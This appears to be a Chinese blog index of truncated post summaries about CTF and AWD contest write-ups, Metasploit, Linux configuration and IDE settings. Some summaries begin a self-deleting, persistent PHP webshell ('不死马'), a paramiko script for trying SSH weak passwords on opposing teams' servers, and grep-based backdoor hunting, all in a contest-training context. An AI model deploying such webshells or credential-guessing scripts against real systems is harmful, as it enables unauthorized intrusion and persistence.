摘要：
签到题：一张简单图片 在线网址查看源代码 https://tools.yum6.cn/Tools/view_source/index.php 或者将图片下载到本地，查看十六进制发现最后面有一串HTML代码 解密一下 仙剑奇侠传-翻牌游戏 查看源码看到有三个可跳转文件 在 css/style.css 阅读全文
摘要：
比赛地址：https://ctf.show/challenges WEB WEB签到 根据题目可知，要输入三个非0数字，使得结果为114，简单尝试一下就知道这几乎是不可能的，那么只能从程序逻辑上看有没有漏洞可钻了 输入数字可以发现计算公式，输入其他字符会提示Hacker，输入+-*（）和数字则不会提 阅读全文
摘要：
Kali Linux是基于Debian的Linux发行版，设计用于数字取证操作系统。 方法/步骤 安装PHP环境 apt-get install php php-pear 现在启动SSH、Apache以及MySQL这些服务，手动启动命令如下 service sshd start service ap 阅读全文
摘要：
ext3 题目提示是Linux光盘，附件下载下来 首先了解一下ext3 ext3是第三代扩展文件系统（英语：Third extended filesystem，缩写为ext3），是一个日志文件系统，常用于Linux操作系统。他是很多Linux发行版的默认文件系统。 在Linux上加载 SimpleR 阅读全文
摘要：
临时配置IP 注：使用桥接网络请根据宿主机IP地址修改 如出现错误：SIOCADDRT：网络不可达 解决方法：修改网卡配置文件 保存退出，重启后，问题即可解决 重新进行配置 永久配置IP地址 注：使用桥接网络请根据宿主机IP地址修改 在文档最后插入DNS地址 重启网络服务 阅读全文
摘要：
Metasploit(MSF)简介 Metasploit是一个免费的、可下载的框架，通过他可以很容易地获取、开发并对计算机软件漏洞实施攻击。他本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D.Moore在2003年发布Metasploit时，计算机安全状况也被永久性地改变了。彷佛一夜之间，任 阅读全文
摘要：
萌新认证 加入qq群：372619038 进群喊：萌新码 萌新_密码1 密文： 53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D 首先16进 阅读全文
摘要：
签到题 阅读全文
摘要：
1.MSF是一个怎么样的工具？ MSF是一个综合性渗透测试工具，集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具 2.漏洞库是什么东西？ 漏洞库是公开的漏洞检索系统 例如：http://www.cnnvd.org.cn/web/vulnerability/querylist.tag 3.MSF中 阅读全文
摘要：
描述：举办方不允许自带电脑，所以此文章做一些简单工作 0X01 改SSH密码 官方在给出服务器密码时，很有可能是默认的，需要赶快修改自己的密码并尝试能不能登录别人的靶机 0X02 命令行简单查找后门 find / -name '*.php' | xargs grep -n 'eval' find / 阅读全文
摘要：
环境： SSH弱口令 描述：存在某些队伍忘记修改SSH弱口令，尝试使用python脚本连接获取flag import paramiko #paramiko是一个用于做远程控制的模块 import threading #threading模块是Python里面常用的线程模块 def ssh2(ip,u 阅读全文
摘要：
一、PyCharm字体放大的设置 File->Settings->Keymap->在搜寻框中输入：increase->Increase Font Size(双击)->在弹出的对话框中选择Add Mouse Shortcut 在弹出的对话框中同时按住Ctrl键和鼠标滚轮向上滑 二、PyCharm字体缩 阅读全文
摘要：
我们安装了python2和python3的环境，那么怎么在PyCharm里切换python2和python3呢？ 我的默认环境是python3 1.新建一个py文件，输入 print(123) 这是python3的输出语句 2.点击运行里的run运行代码 3.可以看到python3的代码跑起来了，输 阅读全文
摘要：
安装telnetd 安装xinetd 查看服务启动状态 编辑/etc/inetd.conf 在文件末尾加上 defaults { # Please note that you need a log_type line to be able to use log_on_success # and lo 阅读全文
摘要：
查看Linux系统发行版本信息 部分Ubuntu系统LTS版本代号 Ubuntu 16.04代号为：xenialUbuntu 17.04代号为：zestyUbuntu 18.04代号为：bionicUbuntu 19.04代号为：discoUbuntu 20.04代号为：focal 修改source 阅读全文
摘要：
学习于：https://www.cnblogs.com/Cl0ud/p/13620537.html 一个简单的不死马 <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.config.php'; 阅读全文
摘要：
集成开发环境 "集成"二字就是字面意思，集成开发环境整合了编辑器、编译器、链接器，调试，部署，乃至代码版本管理等功能于一体，为了方便程序员编写，编译，调试程序喝部署程序。 编辑器、编译器和链接器 编辑器、编译器和链接器是使用C语言进行开发所需要的三个最基本的工具，而且也是最小的工具集，缺一不可。 从 阅读全文
摘要：
我们都知道非常多的文件都仅仅有root有权限来改动，那么在我们平时的开发过程中都建议使用一般账号来登录进行开发。 那么我们怎样切换身份呢。 su su是最简单的身份切换，用su我们能够进行任何用户的切换，一般都是su - username，然后输入password就ok了，可是root用su切换到其 阅读全文
摘要：
Polkit是一个应用程序级别的工具集，通过定义和审核权限规则，实现不同优先级进程间的通讯：控制决策集中在统一的框架之中，决定低优先级进程是否有权访问高优先级进程。 Polkit在系统层级进行权限控制，提供了一个低优先级进程和高优先级进程进行通讯的系统。和sudo等程序不同，Polkit并没有赋予进 阅读全文
摘要：
在VS中，项目属性 -> C/C++ -> 代码生成 -> 运行库 选项内有四个选项：多线程(/MT)、多线程调试(/MTd)、多线程DLL(/MD)、多线程调试DLL(/MDd)。这个设置代表什么意思？四个选项又是什么意思，有什么区别？接下来详细讨论。 何为C运行库、C++标准库 C标准定义了一系 阅读全文